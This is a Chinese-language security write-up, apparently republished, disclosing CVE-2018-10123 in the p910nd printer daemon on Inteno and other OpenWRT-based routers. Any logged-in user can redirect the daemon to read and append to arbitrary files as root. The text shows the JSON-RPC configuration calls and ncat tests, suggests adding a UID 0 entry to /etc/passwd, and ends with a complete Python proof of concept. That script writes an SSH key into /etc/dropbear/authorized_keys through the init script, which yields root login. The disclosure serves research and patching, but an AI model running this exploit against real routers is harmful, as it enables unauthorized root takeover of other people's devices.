基于OpenWRT的路由器打印服务获取 root 权限
我在Inteno的IOPSYS固件中发现了另一个漏洞,但我相信这会影响打印机服务器p910nd附带的所有OpenWRT或基于LEDE的路由器。任何经过身份验证的用户都可以修改打印机服务器的配置,允许他们以根用户的身份读取任何文件并将其追加到任何文件中。这可以导致信息泄漏和远程代码执行。此漏洞已被分配给CVE ID: CVE-2018-10123。
我以前写过关于Inteno设备漏洞的报告(1,2,3)。我建议阅读第一篇文章,因为它描述了如何调用路由器上的函数-包括那些可能不在管理面板中列出的函数。
在查看经过身份验证的用户可以修改的配置时,我注意到了p910nd的一个部分。根据OpenWRTwiki,它是一个轻量级守护进程(daemon),主要负责连接到路由器的设备和连接到路由器的打印机之间的网关。它在默认情况下是禁用的,但是可以很容易地在管理面板中启用。默认情况下,如下所示:
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"p910nd"}],"id":0}
< [...] {".anonymous": True, ".type": "p910nd", ".name": "cfg02f941", ".index": 0, "device": "/dev/usb/lp0", "port": "0", "bidirectional": "1", "enabled": "0"}
我感兴趣的是设备的价值。从管理的角度来看,这是有意义的,但是普通的最终用户不应该能够改变这一点。还有,如果我们把p910nd指向其他东西-也许是一个文件-会发生什么?出于测试目的,通过SSH访问权限,我创建了一个测试文件:
# cat > /tmp/test << EOF > Testing123 > EOF
我启用了p910并更改了设备以指向我们新创建的文件:
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"p910nd",type:"p910nd",values:{enabled:"1",device:"/tmp/test"}}],"id":1} > {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"p910nd"}],"id":2}
根据文档,服务侦听端口9100。我使用Netcat连接到该端口:
$ ncat 192.168.1.1 9100 Testing123
马上就得到了文件的内容。我修改了测试文件的权限,以查看是否可以读取具有根用户访问权限的文件:
# chmod 600 /tmp/test # ls -al /tmp/test -rw------- 1 root root 11 Apr 14 23:23 /tmp/test
同样,我们可以成功地读取文件:
$ ncat 192.168.1.1 9100 Testing123
这是可以理解的,因为p910nd守护进程在系统上有根权限。该配置还有一个名为bidirectional的值,值被设置为1。这是否意味着我们也可以写入文件呢?我在Netcat中键入了另一个测试字符串,看它是否会被附加到文件中。我按下回车键,以确保字符串正在发送:
$ ncat 192.168.1.1 9100 Testing123
foobar
检查文件是否发生了更改:
# cat /tmp/test Testing123
foobar
事实上,即使是写入文件也是可能的!这使得攻击者能够轻松地访问系统。例如,可以使用UID 0和已知密码将用户添加到/etc/passwd。
在进行了一些测试之后,我还得出一个结论,攻击者希望写入的文件必须已经存在-只需将设备值更改为不存在的文件,就不会创建该文件。但是,攻击者仍然可以将脚本附加到作为根用户执行的脚本,并添加他们希望执行的任何代码。
我编写了一个PoC,将一行附加到/etc/init.d/p910nd脚本,在执行时,该脚本将用我的SSH键覆盖/etc/Drop/Authorated_Key,使我能够轻松地以根用户身份进行SSH。每次通过UCI提交更改时都会执行此脚本,UCI使用UCI重新启动服务。执行的脚本:
如果你有一个具有受限访问权限的Inteno路由器,则可以使用此PoC添加自己的SSH密钥并以根用户身份登录。它还可以与p910nd捆绑的其他路由器一起工作,并使用jsonrpc协议进行通信。最后,你可能必须也将IP更改为/ubus。如果使用不同的协议,则需要不同的PoC。
这个PoC需要Python3.6和一个名为webSocket-Client的模块,你可以通过pip安装webSocket-Client来安装这个模块。请注意,如果你想使用它,就应该编辑脚本的第58-61行,以便包含适当的IP、用户名、密码和SSH密钥,还可以编辑第63行,以包含您自己的执行代码。
#!/usr/bin/python3 import json import sys import socket import os import time from websocket import create_connection def ubusAuth(host, username, password): ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call", "params":["00000000000000000000000000000000","session","login",
{"username": username,"password":password}], "id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close() try:
key = response.get('result')[1].get('ubus_rpc_session') except IndexError: return(None) return(key) def ubusCall(host, key, namespace, argument, params={}): ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call", "params":[key,namespace,argument,params], "id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close() try:
result = response.get('result')[1] except IndexError: if response.get('result')[0] == 0: return(True) return(None) return(result) def sendData(host, port, data=""): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(data.encode('utf-8'))
s.shutdown(socket.SHUT_WR)
s.close() return(None) def recvData(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
data = s.recv(1024)
s.shutdown(socket.SHUT_WR)
s.close() return(data) if __name__ == "__main__":
host = "192.168.1.1" username = "user" password = "user" key = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" payload = ("""
/bin/echo "%s" > /etc/dropbear/authorized_keys;
""" % key)
print("Authenticating...")
key = ubusAuth(host, username, password) if (not key):
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Enabling p910nd and setting up exploit...")
pwn910nd = ubusCall(host, key, "uci", "set",
{"config":"p910nd", "type":"p910nd", "values":
{"enabled":"1", "interface":"lan", "port":"0", "device":"/etc/init.d/p910nd"}}) if (not pwn910nd):
print("Enabling p910nd failed!")
sys.exit(1)
print("Committing changes...")
p910ndc = ubusCall(host, key, "uci", "commit",
{"config":"p910nd"}) if (not p910ndc):
print("Committing changes failed!")
sys.exit(1)
print("Waiting for p910nd to start...")
time.sleep(5)
print("Sending key...")
sendData(host, 9100, payload)
print("Triggerring exploit...")
print("Cleaning up...")
dis910nd = ubusCall(host, key, "uci", "set",
{"config":"p910nd", "type":"p910nd", "values":
{"enabled":"0", "device":"/dev/usb/lp0"}}) if (not dis910nd):
print("Exploit and clean up failed!")
sys.exit(1)
p910ndc = ubusCall(host, key, "uci", "commit",
{"config":"p910nd"}) if (not p910ndc):
print("Exploit and clean up failed!")
sys.exit(1)
print("Exploitation complete")
本文来自360安全客分享